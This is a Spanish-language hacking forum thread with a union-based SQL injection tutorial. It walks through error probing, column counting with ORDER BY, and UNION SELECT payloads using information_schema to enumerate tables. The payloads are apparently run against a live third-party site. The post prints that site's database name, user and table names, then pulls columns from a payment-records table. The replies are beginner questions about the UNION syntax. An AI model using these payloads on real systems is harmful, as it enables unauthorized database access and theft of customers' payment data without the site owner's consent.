comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Union based SQL Inyeccion

  • 4 Respuestas
  • 2680 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 549
  • Actividad:
    13.33%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« en: Julio 31, 2013, 02:58:34 pm »
Causar Error

'
)
\
"

Entendiendo la consulta:

Error performing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''967''' at line 1

select * from tabla where id='967'  -- - ' <-- lo que viene despues de -- es ignorado

Tipos de comentarios:


--
#
/**/

Tipo de inyeccion:

Este tipo de SQL inyeccion es de tipo String o cadena
Tambien existe la de tipo integer o entero. ¿Como sabemos que es string o integer?

simplemente por que tiene '967' esta encerrado entre comillas esta declarado como cadena y cuando agregamos -- - se soluciona es de tipo string :)

Encontrando las columnas:

Vamos a utilizar la clausula ORDER BY para detectar el numero de columnas....

ORDER BY 1 <--- La primera columna existe? SI!

Como no arroja error si existe :)

ORDER BY 10 <--- Existen 10 Columnas? NO

Error performing query: Unknown column '10' in 'order clause'

ORDER BY 5 <-- Existe la columna 5? NO
Error performing query: Unknown column '5' in 'order clause'

ORDER BY 4 <-- Existe la columna 4? NO
Error performing query: Unknown column '4' in 'order clause'

ORDER BY  3 <--- Existe la columna 3? SI

Entonces son 3 columnas :)

Ahora vamos a unir la consulta con la mia que seria mas o menos asi:


select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - '

Esos campos 1 2 y 3 que se muestran son vulnerables y podemos inyectar codigo SQL dentro de ellos. :D

Search the document '1' , 2 - 3.

Funciones basicas:

database() - Arroja la base de datos actual con la que esta trabajando la DB
version() - Arroja la version de  la base de datos
user() - Arroja el usuario actual
concat() - concatenamos (unimos) datos
group_concat() - concatena los datos pero solo 1024 bytes que seria un MB si se pasa corta y no llega
concat_ws() - Funciona igual que concat solo que al inicio lleva un separador

Consulta actual:

select columna1,columna2,columna3 from tabla where id='967'  union select concat(version(),0x7e,database(),0x7e,user()),2,3 -- -

Search the document '5.5.30~genhou5_genhound~genhou5_genhound@localhost' , 2 - 3.

Sacar datos:

Las versiones mayores o iguales a 5 tienen una base de datos de metadatos llamada information_schema
Con la cual puedes sacar los datos de otras bases de datos XD :P

TABLE_NAME -> en esta columna estan los nombres de la tabla
COLUMN_NAME -> en esta columna se encuentran los nombres de las columnas
SCHEMA_NAME -> en esta columna se encuentran los nombres de las bases de datos

TABLES -> en esta tabla se encuentran las tablas
COLUMNS -> en esta tabla se encuentran las columnas
SCHEMATA -> en esta tabla se encuenran las dbs

Sacaremos las tablas de la base de datos actual:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() -- -'

tablas:
cred_purch,datatype_look,gh_country,gh_data,gh_
descr_ctry,gh_description,gh_desr_region,gh_merchant,gh_my,
gh_notify,gh_problem,gh_region,gh_register,gh_saved,gh_search,gh_worldloc,info_link,
paypal_payment_info


Sacaremos las columnas de la tabla cred_purch:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(column_name),2,3 from information_schema.columns where table_name='cred_purch' -- -'

Columnas:
purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn

Sacaremos los datos :3

select columna1,columna2,columna3 from tabla where id='967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

No tienes permisos para ver links. Registrate o Entra con tu cuenta
?id=967967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

Finished Class xD !

Alumnati:
Los quito por cuestiones de que no quiero q vean xD

Salu2 espero que les guste auque sea un poco simple :P

Desconectado F0M3T

  • *
  • Underc0der
  • Mensajes: 177
  • Actividad:
    0%
  • Reputación 0
  • Antes de empezar, mira el lienzo...
    • Ver Perfil
    • f0m3t blogsgsgsgsdfñsadf
« Respuesta #1 en: Julio 31, 2013, 05:18:37 pm »
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Esto no se trata de ganar, se trata de no perder.

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 549
  • Actividad:
    13.33%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #2 en: Julio 31, 2013, 05:51:21 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Significa como es que esta formada la consulta en realidad por dentro, siempre que estes haciendo una inyeccion sql necesitas imaginar como el programador, en este caso para usar UNION siempre se deben usar el mismo numero de columnas en este caso 3 de esa manera la union estara realizada correctamente, si no te arroja un error The used SELECT statements have a different number of columns :) saludos

Desconectado F0M3T

  • *
  • Underc0der
  • Mensajes: 177
  • Actividad:
    0%
  • Reputación 0
  • Antes de empezar, mira el lienzo...
    • Ver Perfil
    • f0m3t blogsgsgsgsdfñsadf
« Respuesta #3 en: Julio 31, 2013, 10:21:25 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Significa como es que esta formada la consulta en realidad por dentro, siempre que estes haciendo una inyeccion sql necesitas imaginar como el programador, en este caso para usar UNION siempre se deben usar el mismo numero de columnas en este caso 3 de esa manera la union estara realizada correctamente, si no te arroja un error The used SELECT statements have a different number of columns :) saludos
Ese error me  brotaba muy seguido, pero sigo sin entender, ¿debes poner 'columna1,columna2,columna3'?, o es algún ejemplo?. :s

Esto no se trata de ganar, se trata de no perder.

Desconectado Assed [In]Seguridad Informática

  • *
  • Underc0der
  • Mensajes: 42
  • Actividad:
    0%
  • Reputación 0
  • ASSED Lab's
    • Ver Perfil
    • Email
  • Skype: @Pep.Juan
« Respuesta #4 en: Julio 31, 2013, 10:48:02 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Significa como es que esta formada la consulta en realidad por dentro, siempre que estes haciendo una inyeccion sql necesitas imaginar como el programador, en este caso para usar UNION siempre se deben usar el mismo numero de columnas en este caso 3 de esa manera la union estara realizada correctamente, si no te arroja un error The used SELECT statements have a different number of columns :) saludos
Ese error me  brotaba muy seguido, pero sigo sin entender, ¿debes poner 'columna1,columna2,columna3'?, o es algún ejemplo?. :s

Se refiere a  columna1,columna2,columna3 : 1,2,3

Sal2
Passion informatic.

 

¿Te gustó el post? COMPARTILO!



Subir Shell a través de Inyección SSI (Server-side include)

Iniciado por CalebBucker

Respuestas: 7
Vistas: 3723
Último mensaje Junio 23, 2012, 08:44:07 am
por s3cur1tyr00t
Sqlsus 0.2 Liberado - Inyección de MySQL y Adquisición de herramientas.

Iniciado por dracko.rx

Respuestas: 0
Vistas: 1770
Último mensaje Febrero 24, 2010, 03:08:27 pm
por dracko.rx
Métodos para bypassear un WAF en Inyección SQLi

Iniciado por M5f3r0

Respuestas: 6
Vistas: 3116
Último mensaje Agosto 05, 2013, 01:24:32 pm
por Mr. Foster
Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)

Iniciado por Stiuvert

Respuestas: 5
Vistas: 4167
Último mensaje Julio 26, 2014, 07:48:12 pm
por fermino
Inyección HTML y spoofing de llamadas en Skype

Iniciado por hkm

Respuestas: 0
Vistas: 1420
Último mensaje Julio 08, 2013, 09:33:41 pm
por hkm